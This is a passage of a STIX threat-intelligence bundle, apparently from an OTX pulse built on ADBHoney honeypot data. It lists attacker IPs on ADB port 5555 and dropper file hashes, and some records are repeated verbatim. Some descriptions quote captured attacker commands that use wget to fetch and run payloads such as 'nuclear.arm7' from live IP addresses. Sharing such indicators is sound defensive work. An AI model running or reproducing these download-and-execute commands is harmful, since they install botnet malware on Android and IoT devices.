      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:00:03.000Z",
      "valid_until": "2026-04-22T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-21T12:31:37.000Z",
          "last_seen": "2026-03-21T12:32:52.621Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=17858; asn_org=LG POWERCOMM; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-21T12:02:02.000Z | last_seen=2026-03-21T12:03:04.845Z | ports=5555 | cc=KR | asn=17858 | org=LG POWERCOMM",
      "id": "indicator--9b2f18af-99ec-4c19-b4d5-7a144ad7377b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '182.231.77.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:00:03.000Z",
      "valid_until": "2026-04-22T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-21T12:02:02.000Z",
          "last_seen": "2026-03-21T12:03:04.845Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "17858"
          ],
          "org": [
            "LG POWERCOMM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=45; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /data/local/tmp 2>/dev/null||cd /tmp 2>/dev/null||cd /sdcard 2>/dev/null||cd /cache 2>/dev/null||cd /;rm -f s;(wget -qO s http://196.251.107.133/bins/sin.sh \"\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-21T13:13:50.000Z | last_seen=2026-03-21T13:54:21.790Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-21T13:13:50.000Z",
          "last_seen": "2026-03-21T13:54:21.790Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T13:35:25.000Z | last_seen=2026-03-21T13:36:31.840Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38b36022-3cbb-4e96-96c1-07211a00747b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T13:35:25.000Z",
          "last_seen": "2026-03-21T13:36:31.840Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /data/local/tmp; rm -rf nuclear.arm7; wget http://87.120.191.32/nuclear.arm7; chmod 777 nuclear.arm7; ./nuclear.arm7 sexo; rm -rf nuclear.arm7\"\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-21T13:24:36.000Z | last_seen=2026-03-22T17:43:45.491Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--c0bdf5da-4a08-430e-bcf2-cfb34950e254",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.120.191.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-21T13:24:36.000Z",
          "last_seen": "2026-03-22T17:43:45.491Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=MD; asn=200019; asn_org=Alexhost Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-21T13:15:17.000Z | last_seen=2026-03-21T13:16:21.545Z | ports=5555 | cc=MD | asn=200019 | org=Alexhost Srl",
      "id": "indicator--11848726-7a28-4bda-8553-dccef2973082",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.103.188.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-21T13:15:17.000Z",
          "last_seen": "2026-03-21T13:16:21.545Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MD"
          ],
          "asn": [
            "200019"
          ],
          "org": [
            "Alexhost Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7e0d4190bd97ebc5e49418f60324d5cb942d25d281c3335defb32e753bb4919f.raw; last_seen=2026-03-21T13:44:15.369Z",
      "id": "indicator--d7a4b0ff-6c23-46ec-a2d5-0e4411bd7415",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7e0d4190bd97ebc5e49418f60324d5cb942d25d281c3335defb32e753bb4919f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6daba71be34923681d251392c46817ccb43665818449c68ca99c0f4e58c36e63.raw; last_seen=2026-03-21T13:24:45.951Z",
      "id": "indicator--97ae45a4-0f8c-4601-8547-d9226cfcacad",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '6daba71be34923681d251392c46817ccb43665818449c68ca99c0f4e58c36e63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=45; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /data/local/tmp 2>/dev/null||cd /tmp 2>/dev/null||cd /sdcard 2>/dev/null||cd /cache 2>/dev/null||cd /;rm -f s;(wget -qO s http://196.251.107.133/bins/sin.sh \"\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-21T13:13:50.000Z | last_seen=2026-03-21T13:54:21.790Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-21T13:13:50.000Z",
          "last_seen": "2026-03-21T13:54:21.790Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T13:35:25.000Z | last_seen=2026-03-21T13:36:31.840Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38b36022-3cbb-4e96-96c1-07211a00747b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T13:35:25.000Z",
          "last_seen": "2026-03-21T13:36:31.840Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /data/local/tmp; rm -rf nuclear.arm7; wget http://87.120.191.32/nuclear.arm7; chmod 777 nuclear.arm7; ./nuclear.arm7 sexo; rm -rf nuclear.arm7\"\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-21T13:24:36.000Z | last_seen=2026-03-22T17:43:45.491Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--c0bdf5da-4a08-430e-bcf2-cfb34950e254",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.120.191.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-21T13:24:36.000Z",
          "last_seen": "2026-03-22T17:43:45.491Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=MD; asn=200019; asn_org=Alexhost Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-21T13:15:17.000Z | last_seen=2026-03-21T13:16:21.545Z | ports=5555 | cc=MD | asn=200019 | org=Alexhost Srl",
      "id": "indicator--11848726-7a28-4bda-8553-dccef2973082",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.103.188.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "valid_until": "2026-04-22T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-21T13:15:17.000Z",
          "last_seen": "2026-03-21T13:16:21.545Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MD"
          ],
          "asn": [
            "200019"
          ],
          "org": [
            "Alexhost Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7e0d4190bd97ebc5e49418f60324d5cb942d25d281c3335defb32e753bb4919f.raw; last_seen=2026-03-21T13:44:15.369Z",
      "id": "indicator--d7a4b0ff-6c23-46ec-a2d5-0e4411bd7415",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7e0d4190bd97ebc5e49418f60324d5cb942d25d281c3335defb32e753bb4919f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6daba71be34923681d251392c46817ccb43665818449c68ca99c0f4e58c36e63.raw; last_seen=2026-03-21T13:24:45.951Z",
      "id": "indicator--97ae45a4-0f8c-4601-8547-d9226cfcacad",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '6daba71be34923681d251392c46817ccb43665818449c68ca99c0f4e58c36e63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-21T15:50:18.000Z | last_seen=2026-03-21T16:01:17.439Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--09c689d9-d610-44be-864c-e9d06be714a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:00:02.000Z",
      "valid_until": "2026-04-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-21T15:50:18.000Z",
          "last_seen": "2026-03-21T16:01:17.439Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-21T15:50:18.000Z | last_seen=2026-03-21T16:01:17.439Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--09c689d9-d610-44be-864c-e9d06be714a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:00:02.000Z",
      "valid_until": "2026-04-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-21T15:50:18.000Z",
          "last_seen": "2026-03-21T16:01:17.439Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1 | first_seen=2026-03-21T16:15:37.494Z | last_seen=2026-03-21T16:15:37.494Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--dbda5bd5-9911-4a5b-bc1b-83d5e7fce76c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:00:03.000Z",
      "valid_until": "2026-04-22T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1,
          "first_seen": "2026-03-21T16:15:37.494Z",
          "last_seen": "2026-03-21T16:15:37.494Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T16:32:53.000Z | last_seen=2026-03-21T16:34:29.249Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--4d9b5b6a-c118-4717-be24-7b256107882d",
      "labels": [
        "scanning_host",
        "nadsec",
